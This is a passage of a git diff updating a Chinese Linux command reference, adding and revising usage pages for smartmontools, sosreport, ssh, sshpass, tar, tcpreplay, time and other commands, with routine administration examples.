+时间:指定要暂停时间的长度, 包括如下:
-时间长度,后面可接 s、m、h 或 d,其中 s 为秒,m 为 分钟,h 为小时,d 为日数。
+* `2s`: 2秒
+* `2m`: 2分钟
+* `2h`: 2小时
+* `2d`: 2天
+* `infinity`: 永久
### 实例
@@ -36,4 +40,3 @@ for ((i=0;$i<=100;i++))
echo
```
-
diff --git a/command/smartmontools.md b/command/smartmontools.md
new file mode 100644
index 00000000000..89a9e525124
--- /dev/null
+++ b/command/smartmontools.md
@@ -0,0 +1,94 @@
+smartmontools
+===
+
+Smartmontools 是一种硬盘检测工具,通过控制和管理硬盘的SMART(Self Monitoring Analysis and Reporting Technology,自动检测分析及报告技术)技术来实现的
+
+##安装
+
+```shell
+sudo aptitude install smartmontools
+```
+
+## 语法
+
+```shell
+smartctl (选项) (参数)
+```
+
+## 选项
+```shell
+-i <硬盘> 显示硬盘设备的标识信息
+-a <硬盘> 显示设备的所有SMART信息
+-H <硬盘> 显示设备的健康信息
+-A <硬盘> 显示设备SMART供应商特定的属性和值
+```
+
+## 参数
+硬盘设备:指定要查看的硬盘(可以使用 fdisk -l 获取有哪些硬盘设备)
+
+```shell
+~ sudo fdisk -l
+设备 起点 末尾 扇区 大小 类型
+/dev/sda1 2048 1050623 1048576 512M EFI 系统
+/dev/sda2 1050624 976771071 975720448 465.3G Linux 文件系统
+```
+
+## 实例
+
+查看 /dev/sda1 硬盘的健康状态,在这个命令中,"-s on"标志开启指定设备上的SMART功能。如果/dev/sda上已开启SMART支持,那就省略它。\
+(PASSED 表示健康;FAILED 表示即将出现故障所以需要开始备份这块磁盘上的重要数据)
+```shell
+~ sudo smartctl -s on -H /dev/sda1
+
+=== START OF READ SMART DATA SECTION ===
+SMART overall-health self-assessment test result: PASSED
+```
+
+查看 /dev/sda1 硬盘特定的属性和值
+(Power_On_Hours: 表示通电时长 18195 小时)
+```shell
+~ sudo smartctl -A /dev/sda1
+
+=== START OF READ SMART DATA SECTION ===
+SMART Attributes Data Structure revision number: 16
+Vendor Specific SMART Attributes with Thresholds:
+ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE
+ 3 Spin_Up_Time 0x0023 100 100 002 Pre-fail Always - 1326
+ 4 Start_Stop_Count 0x0032 100 100 000 Old_age Always - 3752
+ 9 Power_On_Hours 0x0032 055 055 000 Old_age Always - 18195
+ 10 Spin_Retry_Count 0x0033 174 100 030 Pre-fail Always - 0
+ 12 Power_Cycle_Count 0x0032 100 100 000 Old_age Always - 3118
+183 Runtime_Bad_Block 0x0032 100 100 001 Old_age Always - 0
+184 End-to-End_Error 0x0033 100 100 097 Pre-fail Always - 0
+185 Unknown_Attribute 0x0032 100 100 001 Old_age Always - 65535
+187 Reported_Uncorrect 0x0032 001 001 000 Old_age Always - 134
+188 Command_Timeout 0x0032 100 098 000 Old_age Always - 48
+191 G-Sense_Error_Rate 0x0032 100 100 000 Old_age Always - 2850
+192 Power-Off_Retract_Count 0x0022 100 100 000 Old_age Always - 32047593
+193 Load_Cycle_Count 0x0032 095 095 000 Old_age Always - 51738
+194 Temperature_Celsius 0x0022 060 055 040 Old_age Always - 40 (Min/Max 16/44)
+```
+
+### 以指定的间隔运行,同时又能通知硬盘的测试结果
+首先,编辑smartctl的配置文件(/etc/default/smartmontools)以便在系统启动时启动smartd,并以秒为单位指定间隔时间(如7200 = 2小时)
+
+```shell
+start_smartd=yes
+smartd_opts="--interval=7200"
+```
+
+下一步,编辑smartd的配置文件(/etc/smartd.conf),添加以下行内容。
+```shell
+/dev/sda -m myemail@mydomain.com -M test
+```
+
+选项说明 \
+-m :指定发送测试报告到某个电子邮件地址。这里可以是系统用户比如root,或者如果服务器已经配置成发送电子邮件到系统外部,则是类似于 myemail@mydomain.com 的邮件地址。\
+-M :指定发送邮件报告的期望类型。\
+once:为检测到的每种磁盘问题只发送一封警告邮件。\
+daily:为检测到的每种磁盘问题每隔一天发送一封额外的警告提醒邮件。\
+diminishing:为检测到的每种问题发送一封额外的警告提醒邮件,开始是每隔一天,然后每隔两天,每隔四天,以此类推。每个间隔是前一次间隔的2倍。\
+test:只要smartd一启动,立即发送一封测试邮件。\
+exec PATH:取代默认的邮件命令,运行PATH路径下的可执行文件。PATH必须指向一个可执行的二进制文件或脚本。当检测到一个问题时,可以指定执行一个期望的动作(闪烁控制台、关闭系统等等)。
+
+保存改动并重启smartd。
\ No newline at end of file
diff --git a/command/sosreport.md b/command/sosreport.md
new file mode 100644
index 00000000000..729c86222bb
--- /dev/null
+++ b/command/sosreport.md
@@ -0,0 +1,146 @@
+sosreport
+===
+
+收集系统配置和诊断信息
+
+## 补充说明
+
+**sosreport命令** 是一个配置和数据收集实用程序,用于收集系统配置、日志文件和诊断信息,以便进行故障排除和分析。它将信息打包到一个压缩的tar文件中,便于传输和分析。sosreport是Red Hat Enterprise Linux系统中用于技术支持的标准工具。
+
+### 语法
+
+```shell
+sosreport [选项]
+```
+
+### 选项
+
+```shell
+-l, --list-plugins # 列出所有可用的插件
+-n, --skip-plugins # 跳过指定的插件(多个插件用逗号分隔)
+-e, --enable-plugins # 启用指定的插件(多个插件用逗号分隔)
+-o, --only-plugins # 只运行指定的插件(多个插件用逗号分隔)
+-a, --alloptions # 启用所有插件选项
+-v, --verbose # 详细输出模式
+-q, --quiet # 静默模式,减少输出
+--batch # 批处理模式,不提示用户输入
+--build # 收集系统构建信息
+--case-id=CASE_ID # 指定案例ID
+--config-file=CONFIG # 指定配置文件路径
+--debug # 调试模式
+--experimental # 启用实验性插件
+--log-size=SIZE # 限制日志文件大小(MB)
+--plugin-timeout=TIMEOUT # 插件超时时间(秒)
+--since=DATE # 从指定日期开始收集日志
+--tmp-dir=DIR # 指定临时目录
+--verify # 验证归档的完整性
+-z, --compression-type # 指定压缩类型(gzip, bzip2, xz)
+```
+
+### 常用选项
+
+```shell
+-a # 启用所有插件选项,收集最全面的信息
+-v # 详细模式,显示收集过程
+-q # 静默模式,最小化输出
+--batch # 批处理模式,不需要用户交互
+```
+
+### 实例
+
+收集系统诊断信息:
+
+```shell
+sosreport
+```
+
+批处理模式收集信息(无需用户交互):
+
+```shell
+sosreport --batch
+```
+
+详细模式收集信息:
+
+```shell
+sosreport -v
+```
+
+启用所有插件选项收集完整信息:
+
+```shell
+sosreport -a
+```
+
+只收集网络相关信息:
+
+```shell
+sosreport -o network
+```
+
+跳过某些插件:
+
+```shell
+sosreport -n rpm,yum
+```
+
+收集指定日期之后的日志:
+
+```shell
+sosreport --since="2023-01-01"
+```
+
+指定案例ID和批处理模式:
+
+```shell
+sosreport --batch --case-id=12345678
+```
+
+列出所有可用插件:
+
+```shell
+sosreport -l
+```
+
+收集系统信息并限制日志文件大小:
+
+```shell
+sosreport --log-size=100
+```
+
+使用不同的压缩类型:
+
+```shell
+sosreport -z xz
+```
+
+### 常见插件
+
+```shell
+block # 块设备信息
+boot # 启动相关信息
+kernel # 内核信息
+logs # 系统日志
+memory # 内存信息
+network # 网络配置
+networking # 网络诊断
+process # 进程信息
+processor # CPU信息
+rpm # RPM包信息
+system # 系统配置
+yum # YUM包管理器信息
+```
+
+### 输出文件
+
+sosreport会在`/var/tmp/`目录下生成一个压缩的tar文件,文件名格式为:
+```
+sosreport---.tar.xz
+```
+
+### 注意事项
+
+- sosreport需要root权限运行
+- 收集的信息可能包含敏感数据,传输前请确认安全性
+- 生成的文件可能较大,请确保有足够的磁盘空间
+- 默认情况下,敏感信息(如密码、密钥)会被混淆处理
diff --git a/command/ssh-copy-id.md b/command/ssh-copy-id.md
index 80d3cae5f5f..1291f755d4f 100644
--- a/command/ssh-copy-id.md
+++ b/command/ssh-copy-id.md
@@ -7,6 +7,8 @@ ssh-copy-id
**ssh-copy-id命令** 可以把本地主机的公钥复制到远程主机的authorized_keys文件上,ssh-copy-id命令也会给远程主机的用户主目录(home)和`~/.ssh`, 和`~/.ssh/authorized_keys`设置合适的权限。
+**ssh-copy-id** 使用ssh登陆远程服务器,一般是通过密码校验用户身份,所以在sshd的配制中应该启用密码校验方式:
+ 将/etc/ssh/sshd_config中的PasswordAuthentication设置为yes,之后重启sshd
### 语法
```shell
diff --git a/command/ssh-keygen.md b/command/ssh-keygen.md
index 1d0863f7369..96dd389aac6 100644
--- a/command/ssh-keygen.md
+++ b/command/ssh-keygen.md
@@ -26,6 +26,6 @@ ssh-keygen(选项)
-P:提供(旧)密语;
-q:静默模式;
-t:指定要创建的密钥类型。
+-y: 读取私钥输出公钥。
```
-
diff --git a/command/ssh.md b/command/ssh.md
index c4cbcdd5cb6..0d9fdc39e2c 100644
--- a/command/ssh.md
+++ b/command/ssh.md
@@ -58,6 +58,55 @@ ssh-keygen -f keyfile -i -m key_format -e -m key_format # key_format: RFC4716/SS
ssh-copy-id user@ip:port # 将当前用户的公钥复制到需要 ssh 的服务器的 ~/.ssh/authorized_keys,之后可以免密登录
```
+连接远程服务器
+
+```shell
+ssh username@remote_host
+```
+
+连接远程服务器并指定端口
+
+```shell
+ssh -p port username@remote_host
+```
+
+使用密钥文件连接远程服务器
+
+```shell
+ssh -i path/to/private_key username@remote_host
+```
+
+在本地执行远程命令
+
+```shell
+ssh username@remote_host "command"
+```
+
+在本地复制文件到远程服务器
+
+```shell
+scp path/to/local_file username@remote_host:/path/to/remote_directory
+```
+
+在远程服务器复制文件到本地
+
+```shell
+scp username@remote_host:/path/to/remote_file path/to/local_directory
+```
+
+在本地端口转发到远程服务器
+
+```shell
+ssh -L local_port:remote_host:remote_port username@remote_host
+```
+
+在远程服务器端口转发到本地
+
+```shell
+ssh -R remote_port:local_host:local_port username@remote_host
+```
+
+
### 背后故事
> 英文:Tatu Ylonen
diff --git a/command/sshpass.md b/command/sshpass.md
new file mode 100644
index 00000000000..43063898c6b
--- /dev/null
+++ b/command/sshpass.md
@@ -0,0 +1,67 @@
+sshpass
+===
+
+免交互 SSH 登录工具。
+
+## 补充说明
+
+免交互 SSH 登录工具,但不要用在生产服务器上。
+
+如果你想自动在 SSH 登录提示符中提供**密码**和**用户名**怎么办?这时 **sshpass** 就可以帮到你了。
+
+**sshpass** 是一个简单、轻量级的命令行工具,通过它我们能够向命令提示符本身提供密码(非交互式密码验证)。
+
+### 安装
+
+```shell
+# RedHat/CentOS
+yum install sshpass
+
+# Debian/Ubuntu
+apt-get install sshpass
+```
+
+### 语法
+
+```shell
+sshpass (选项)
+```
+
+### 选项
+
+```shell
+用法: sshpass [-f|-d|-p|-e] [-hV] 命令 参数
+ -f 文件名 从文件中获取密码
+ -d 数字 使用数字作为文件描述符来获取密码
+ -p 密码 将密码作为参数提供(安全上不明智)
+ -e 密码以环境变量 "SSHPASS" 的形式传递
+ 如果没有参数 - 密码将从标准输入中获取
+
+ -P 提示 sshpass 搜索以检测密码提示的字符串
+ -v 显示详细信息
+ -h 显示帮助信息(本屏幕)
+ -V 打印版本信息
+只能使用 -f、-d、-p 或 -e 中的一个
+```
+
+### 实例
+
+1.明文传输密码(**不建议**)
+
+```shell
+sshpass -p 'my_pass_here' ssh aaronkilik@10.42.0.1 'df -h'
+```
+
+2.使用文件传输密码
+
+```shell
+sshpass -f password_filename ssh aaronkilik@10.42.0.1 'df -h'
+```
+
+3.使用环境变量 `SSHPASS`
+
+```shell
+sshpass -e ssh aaronkilik@10.42.0.1 'df -h'
+```
+
+更多使用详情请参考 [https://linux.cn/article-8086-1.html](https://linux.cn/article-8086-1.html) 。
\ No newline at end of file
diff --git a/command/strings.md b/command/strings.md
index baf174c6c85..bdc513d0856 100644
--- a/command/strings.md
+++ b/command/strings.md
@@ -38,7 +38,7 @@ strings /bin/ls
列出ls中所有的ASCII文本:
```shell
-cat /bin/ls strings
+cat /bin/ls | strings
```
查找ls中包含libc的字符串,不区分大小写:
diff --git a/command/su.md b/command/su.md
index dc7a2676858..1396594ac37 100644
--- a/command/su.md
+++ b/command/su.md
@@ -46,7 +46,7 @@ su root -f
变更帐号为test并改变工作目录至test的家目录:
```shell
-su -test
+su - test
```
diff --git a/command/systemctl.md b/command/systemctl.md
index d4b41c7a36e..4a474c9cb0d 100644
--- a/command/systemctl.md
+++ b/command/systemctl.md
@@ -23,7 +23,9 @@ systemctl
```shell
systemctl start nfs-server.service . # 启动nfs服务
systemctl enable nfs-server.service # 设置开机自启动
+systemctl enable nfs-server.service --now # 设置开机自启动,并立刻启动
systemctl disable nfs-server.service # 停止开机自启动
+systemctl disable nfs-server.service --now # 停止开机自启动,并立刻停止
systemctl status nfs-server.service # 查看服务当前状态
systemctl restart nfs-server.service # 重新启动某服务
systemctl list-units --type=service # 查看所有已启动的服务
diff --git a/command/tar.md b/command/tar.md
index e321304124e..cab3d9ad132 100644
--- a/command/tar.md
+++ b/command/tar.md
@@ -469,12 +469,24 @@ tar -jcvf log.tar.bz2 log2012.log 打包后,以 bzip2 压缩
**解压目录**
-去掉第一层目录结构,要出除第二层,--strip-components 2
+参数--strip-components NUMBER,在提取时从文件名中删除NUMBER个前导组件,如要去除前二层,参数为--strip-components 2
```shell
tar -xvf portal-web-v2.0.0.tar --strip-components 1 -C 指定目录
```
+示例
+
+```shell
+tar -xvf xxx.tar.gz -C /usr/src/a
+/usr/src/a/xxxxx/src/opp/b.txt
+```
+
+```shell
+tar -xvf xxx.tar.gz -strip-components=1 -C /usr/src/a
+/usr/src/a/src/opp/b.txt
+```
+
**查阅上述tar包内有哪些文件** :
```shell
diff --git a/command/tcpreplay.md b/command/tcpreplay.md
index 8332e5f9c66..9673104034c 100644
--- a/command/tcpreplay.md
+++ b/command/tcpreplay.md
@@ -1,49 +1,219 @@
tcpreplay
===
-将PCAP包重新发送,用于性能或者功能测试
+将保存在 PCAP 文件包重新发送,用于性能或者功能测试
## 补充说明
-简单的说, **tcpreplay** 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。
+`tcpreplay` 用于重放保存在 pcap 文件中的网络流量,它支持按照捕获 pcap 文件时数据包的速度、或者指定速度去重放网络流量,只要在硬件承受的范围内即可。
-### 选项
+它可以根据需要,使流量可以在两个网卡直接拆分、写入文件、进行筛选、以各种方式进行编辑,从而为测试防火墙、NIDS和其他网络设备提供了方法。
-```shell
--A "" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。
--c 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。
--D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。
--e 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。
--f 指定配置文件。
--F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。
--h 显示帮助文件。
--i 双网卡回放报文必选参数,指定主接口。
--I 重写主网卡发送出报文的目的MAC地址。
--j 双网卡回放报文必选参数,指定从接口。
--J 重写从网卡发送出报文的目的MAC地址。
--k 重写主网卡发送报文的源MAC地址。
--K 重写从网卡发送报文的源MAC地址。
--l 指定循环的次数。
--L 指定最大的发包数量。可以在确认连接的调试时使用。
--m 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。
--M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。
--n 在使用-S参数,不对混杂模式进行侦听。
--N 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。
--O 没有测试使用。
--p 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。
--P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。
--r 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。
--R 让网卡极限速度发数据包。
--t 指定MTU,标准的10/100M网卡的默认值是1500。
--T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。
--v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。
--V 查看版本号。
--w 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。
-```
+### 命令参数
+
+-d number, --dbug=number
+
+启用调试输出。此选项最多可出现1次。此选项将整数作为参数。 number的值被限制为:在0到5的范围内
+此选项的默认输入number为:0
+如果使用--enable-debug进行配置,则可以为调试输出指定详细级别。数字越大,越详细。
+
+`-q, --quiet`
+
+静默模式。除了运行结束时的统计数据外,不打印任何内容
+
+`-T string, --timer=string`
+
+选择数据包计时模式:select,ioport,gtod,nano。此选项最多可出现1次。此选项的默认string是:gtod
+允许您选择要使用的数据包计时方法:
+
+nano - 使用 nanosleep() API
+
+select - 使用 select() API
+
+ioport - 写入 i386 IO 端口 0x80
+
+gtod [default] - 使用 gettimeofday() 循环
+
+`--maxsleep=number`
+
+设置数据包之间休眠不超过X毫秒。此选项将整数作为参数。此选项的默认输入number为:0
+设置tcpreplay在数据包之间休眠的最大毫秒数限制。有效防止数据包之间的长时间延迟,而不会影响大多数数据包。默认为禁用。
+
+`-v, --verbose`
+
+通过tcpdump将解码后的数据包打印到标准输出。此选项最多可出现1次
+
+`-A string, --decode=string`
+
+传递给tcpdump解码器的参数。此选项最多可出现1次。此选项必须与-v参数以前使用。
+当启用详细模式(-v)时,您还可以指定一个或多个附加参数以传递给tcpdump来修改数据包的解码方式。默认情况下,使用-n和-l。确保string用双引号引起来,如:-A“-axxx”,否则会被tcpreplay作为参数误用。有关选项的完整列表,请参见tcpdump(1)手册页
+
+`-K, --preload-pcap`
+
+在发送之前将数据包预加载到RAM中。
+此选项在开始发送之前将指定的pcap加载到RAM中,以便提高启动性能,进而提高重放性能。预加载可以使用或不使用--loop。此选项还会控制每次迭代的流统计信息收集,这可以显着减少内存使用量。基于所提供的选项和从第一循环迭代收集的统计来预测流(flow)统计。
+
+`-c string, --cachefile=string`
+
+通过tcpprep缓存(cache)文件拆分流量。此选项最多可出现1次。此选项必须与以下选项一起使用:intf2。此选项不得与以下选项一起使用:dualfile。
+如果你有一个pcap文件,你想用它来通过一个设备(防火墙,路由器,IDS等)发送双向流量,然后使用tcpprep你可以创建一个缓存文件,tcpreplay将用它来分割两个网络接口的流量。
+
+`-2, --dualfile`
+
+从 network tap 一次重放两个文件。此选项最多可出现1次。此选项必须与以下选项一起使用:intf2。此选项不得与以下任项一起使用:cachefile。
+如果您使用网络分流器捕获网络流量,那么您最终可以获得两个pcap文件 - 每个方向一个。此选项将同时重放这两个文件,每个接口一个,并使用每个文件中的时间戳混合它们
+
+`-i string, --intf1=string`
+
+客户端到 server/RX/primary(主要) 流量输出接口。该选项最多可出现 1 次。
+用于发送所有流量或通过 tcpprep 标记为 "primary" 流量的所需网络接口。primary 流量通常是客户端到服务器或 khial 虚拟接口上的入站(RX)流量。
+
+`-I string, --intf2=string`
+
+服务器到 client/TX/secondary(辅助) 流量输出接口。该选项最多可能出现 1 次。
+
+用于发送通过 tcpprep 标记为 “secondary” 流量的可选网络接口。辅助(secondary)流量通常是服务器到客户端或 khial 虚拟接口上的出站 (TX)。一般来说,只有将此选项与 --cachefile 一起使用才有意义。
+
+`--listnics`
+
+列出所有可用的网卡并退出。
+
+`-l number, --loop=number`
+
+循环捕获文件X次。此选项最多可出现1次。此选项将整数作为输入参数。 number的值被限制为:
+大于或等于0,此选项的默认输入number为:1
+
+`--loopdelay-ms=number`
+
+循环之间的延迟(以毫秒为单位)。此选项必须与以下选项一起出现:--loop。此选项将整数作为输入参数。 number的值被限制为:大于或等于0,此选项的默认输入number为:0
+
+`--pktlen`
+
+覆盖snaplen并使用实际的数据包len。此选项最多可出现1次。
+默认情况下,tcpreplay将根据pcap文件中存储的“snaplen”的大小发送数据包,这通常是正确的做法。但是,偶尔,工具会存储更多的字节。通过指定此选项,tcpreplay将忽略snaplen字段,而是尝试根据原始数据包长度发送数据包。如果指定此选项,可能会发生错误。
+
+`-L number, --limit=number`
+
+限制要发送的数据包数量。此选项最多可出现1次。此选项将整数作为输如参数。 number的值被限制为:大于或等于1,此选项的默认输如number为:-1
+默认情况下,tcpreplay将发送所有数据包。或者手工指定要发送的最大数据包数。
+
+`--duration=number`
+
+限制发送的秒数。此选项最多可出现1次。此选项将整数作为输入参数。 number的值被限制为:大于或等于1,此选项的默认number为:-1
+默认情况下,tcpreplay将发送所有数据包。或者手工指定要传输的最大秒数。
+
+`-x string, --multiplier=string`
+
+将重放速度修改为指定倍数。此选项最多可出现1次。此选项不得与以下任何选项一起出现:pps,mbps,oneatatime,topspeed。
+指定一个值以修改数据包重放速度。例子:
+2.0:将以捕获速度的两倍重放流量
+0.7:将以捕获的速度的70%重放流量
+
+`-p string, --pps=string`
+
+以给定的packets/sec重放数据包。此选项最多可出现1次。此选项不得与以下任何选项一起出现:multiplier, mbps, oneatatime, topspeed.。
+指定一个值以将数据包重放调整为特定的packets/sec速率。例子:
+200:将以每秒200个数据包重放流量
+0.25:将以每分钟15个数据包重放流量
+
+`-M string, --mbps=string`
+
+以给定的Mbps重放数据包。此选项最多可出现1次。此选项不得与以下任何选项一起出现:multiplier,pps,oneatatime,topspeed。
+可为tcpreplay设定其发送数据包的Mbps速率,该值可以指定为浮点值
+
+`-t, --topspeed`
+
+尽可能快地重放数据包。此选项不得与以下任何选项一起出现: mbps, multiplier, pps, oneatatime.
+
+`-o, --oneatatime`
+
+根据用户输入重放每个数据包。此选项不得与以下任何选项一起出现:mbps,pps,multiplier,topspeed。
+允许您一次单步执行一个或多个数据包。
+
+`--pps-multi=number`
+
+指定每个时间间隔要发送的数据包数。此选项必须与以下选项一起使用:pps。此选项将整数作为输入参数。 number的值被限制为:大于或等于1,此选项的默认值为:1
+当尝试以非常高的速率发送数据包时,每个数据包之间的时间可能很短,以至于不可能在所需的时间段内准确地休眠。此选项允许您一次发送多个数据包,从而允许更长的睡眠时间,这可以更准确地实现。
+
+`--unique-ip`
+
+修改每个循环迭代的IP地址以生成唯一流。此选项必须与以下选项一起使用:loop。
+确保每个--loop迭代的IPv4和IPv6数据包都是唯一的。这是以不会改变数据包CRC的方式完成的,因此通常不会影响性能。此选项将显着增加多次循环迭代生成的flow/sec。
+
+`--unique-ip-loops=string`
+
+分配新的唯一 IP 之前的 --loop 迭代次数。默认值为 1。假定同时使用 --loop 和 --unique-ip。
+
+`--netmap`
+
+将数据包直接写入启用netmap的网络适配器。
+此功能将检测Linux和BSD系统上支持netmap的网络驱动程序。如果检测到,则会在执行期间绕过网络驱动程序,并直接写入网络缓冲区。这将允许您在商用网络适配器上实现全线速率,类似于商用网络流量生成器实现的速率。请注意,绕过网络驱动程序将中断通过测试接口连接的其他应用程序。
+
+还可以通过将接口指定为`netmap:`或 `vale:` 来启用此功能。例如,`netmap:eth0` 指定接口 eth0 上的网络映射。
+
+`--nm-delay=number`
+
+Netmap启动延迟。此选项将整数作为参数。此选项的默认输入为:10
+加载netmap后延迟的秒数。在netmap传输之前确保接口完全开启工作。需要netmap选项。默认值为10秒。
+
+`--no-flow-stats`
+
+阻止打印和跟踪流量,速率和到期
+
+禁止收集和打印流量统计信息。 不使用--preload-pcap选项时,此选项可以提高性能,否则它的唯一功能是禁止打印。
+
+流功能将跟踪和打印正在发送的流的统计信息。 简单来讲,一个流是由5元组进行唯一区分的,即源IP、目的IP、源端口、目的端口和协议。
+如果指定了--loop,则从一次迭代到下一次迭代的流将不是唯一的,除非数据包被更改。 使用--unique-ip或tcpreplay-edit在迭代之间更改数据包。
+
+`--flow-expiry=number`
+
+流被视为过期前的非活动秒数。此选项不得与以下选项一起使用:no-flow-stats。此选项将整数作为输入参数。 number的值被限制为:大于或等于0
+此选项的默认值为:0
+此选项将根据流的idle time来跟踪和报告流的过期。 pcap文件中的时间戳用于确定到期时间,而不是重放数据包的实际时间戳。例如,值30表示如果流上没有流量持续30秒,则任何后续流量都将被视为新流量,从而将增加流量和每秒流量(fps)统计量。
+
+(例如,值 30 表示如果某个流在 30 秒内没有看到任何流量,则任何后续流量都将被视为新流,从而增加流量和每秒流量 (fps) 统计数据。)
+
+此选项可用于优化流产品的流超时设置。当实际流量响应速度很慢时,将超时设置较低可能会导致流量被丢弃。将流量超时配置得过高可能会增加流量产品所需的资源。
+请注意,在高于原始速度的重放时使用此选项可能会导致流量和fps计数膨胀。
+默认值为0(无到期),典型值为30-120秒
+
+`-P, --pid`
+
+在启动时打印tcpreplay的PID
+
+`--stats=number`
+
+每X秒打印统计信息,如果为'0'则打印每个循环。此选项将整数作为输入参数。number 的值被限制为:大于或等于 0
+
+请注意,定时延迟是"best effort",发送数据包之间的长延迟可能会导致打印统计数据之间同样长的延迟。
+
+`-V, --version`
+
+打印版本信息
+
+`-h, --less-help`
+
+打印简单的帮助信息
+
+`-H, --help`
+
+打印帮助信息
+
+`-!, --more-help`
+
+打印详细帮助信息
+
+`--save-opts [=cfgfile]`
+
+将选项状态保存到cfgfile。默认值是下面的OPTION PRESETS章节中列出的最后一个配置文件。该命令在更新配置文件后退出。
+
+`--load-opts=cfgfile, --no-load-opts`
+
+从 cfg 文件加载选项。 no-load-opts 形式将禁止加载早期的 config/rc/ini 文件。`--no-load-opts` 提前处理,无序。
### 实例
- **1、重放在客户端 ftp 连接的报文 **
+**1、重放在客户端 ftp 连接的报文 **
a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。
@@ -61,7 +231,7 @@ c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使
-R 参数表示全速发送,-v 显示打印信息。
- **2、重放在客户端 BT 连接的报文 **
+**2、重放在客户端 BT 连接的报文 **
a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。
@@ -79,7 +249,7 @@ c、使用 tcpreplay 重放报文。
[root@A ~]# tcpreplay -c bt.cache -i eth0 -j eth1 bt.pcap -v –R
```
- **3、重放 tftp 服务器上抓到的报文 **
+**3、重放 tftp 服务器上抓到的报文 **
a、在 tftp 服务器上使用 ethereal 抓包,存为 tftp.pcap 文件。
@@ -97,4 +267,10 @@ c、使用 tcpreplay 重放报文。
[root@A ~]# tcpreplay -c tftp.cache -i eth0 -j eth1 tftp.pcap –v
```
+**4、重放pcap包,并指定速率和 loop 次数**
+
+```shell
+[root@A ~]# tcpreplay -i eth1 -M 10 -l 0 /home/demo/LSDK/LSDK.pcap
+```
+以速率10Mbps,0为无限次循环进行重放
diff --git a/command/time.md b/command/time.md
index efa5f26a06e..2494099cf26 100644
--- a/command/time.md
+++ b/command/time.md
@@ -5,24 +5,28 @@ time
## 补充说明
-**time命令** 用于统计给定命令所花费的总时间。
+`time` 命令是用来确定一个给定的命令需要运行多长时间。它对于测试你的脚本和命令的性能很有用。
-### 语法
+例如,如果你有两个不同的脚本在做同样的工作,你想知道哪一个表现得更好,你可以用 Linux 的时间命令来确定每个脚本的执行时间。
+
+该指令是 shell 内指令,也是一个软件包,**对于软件包的说明在这篇文档靠下的部分**
+
+## 语法
```shell
-time(参数)
+time <指令>
```
-### 参数
+## 参数
指令:指定需要运行的额指令及其参数。
-### 实例
+## 实例
当测试一个程序或比较不同算法时,执行时间是非常重要的,一个好的算法应该是用时最短的。所有类UNIX系统都包含time命令,使用这个命令可以统计时间消耗。例如:
```shell
-[root@localhost ~]# time ls
+$ time ls
anaconda-ks.cfg install.log install.log.syslog satools text
real 0m0.009s
@@ -30,13 +34,56 @@ user 0m0.002s
sys 0m0.007s
```
-输出的信息分别显示了该命令所花费的real时间、user时间和sys时间。
+这里的输出会因为使用的发行版本不同而导致展示的结果不同,比如:
+
+```shell
+# Bash
+real 0m33.961s
+user 0m0.340s
+sys 0m0.940s
+
+# Zsh
+0.34s user 0.94s system 4% cpu 33.961 total
+
+# GNU time (sh)
+0.34user 0.94system 0:33.96elapsed 4%CPU (0avgtext+0avgdata 6060maxresident)k
+0inputs+201456outputs (0major+315minor)pagefaults 0swaps
+```
+
+`real` 或者 `total` 或者 `elapsed`(挂钟时间)是指从调用开始到结束的时间。它是指从你按下回车键的那一刻开始,到命令完成的那一刻为止的时间。
+user - 在用户模式下花费的CPU时间。
+system 或 sys - 在内核模式下花费的CPU时间。
+
+## 软件包
+
+接下来的部分是关于 `time` 软件包提供的 `/usr/bin/time` 二进制可执行程序,而不是 shell 内建的 time 命令。
+
+### 软件包的语法
+
+一些 shells(例如 `bash` )有一个内置的 `time` 命令,提供类似的关于时间和可能的其他资源的使用信息。
+
+要访问真正的命令,可能需要指定其路径名(类似于`/usr/bin/time`)。
+
+```shell
+time [options] command [arguments...]
+```
+
+### 软件包指令参数
-* real时间是指挂钟时间,也就是命令开始执行到结束的时间。这个短时间包括其他进程所占用的时间片,和进程被阻塞时所花费的时间。
-* user时间是指进程花费在用户模式中的CPU时间,这是唯一真正用于执行进程所花费的时间,其他进程和花费阻塞状态中的时间没有计算在内。
-* sys时间是指花费在内核模式中的CPU时间,代表在内核中执系统调用所花费的时间,这也是真正由进程使用的CPU时间。
+-f format, --format=format
+指定输出格式,可能覆盖环境变量TIME中指定的格式。
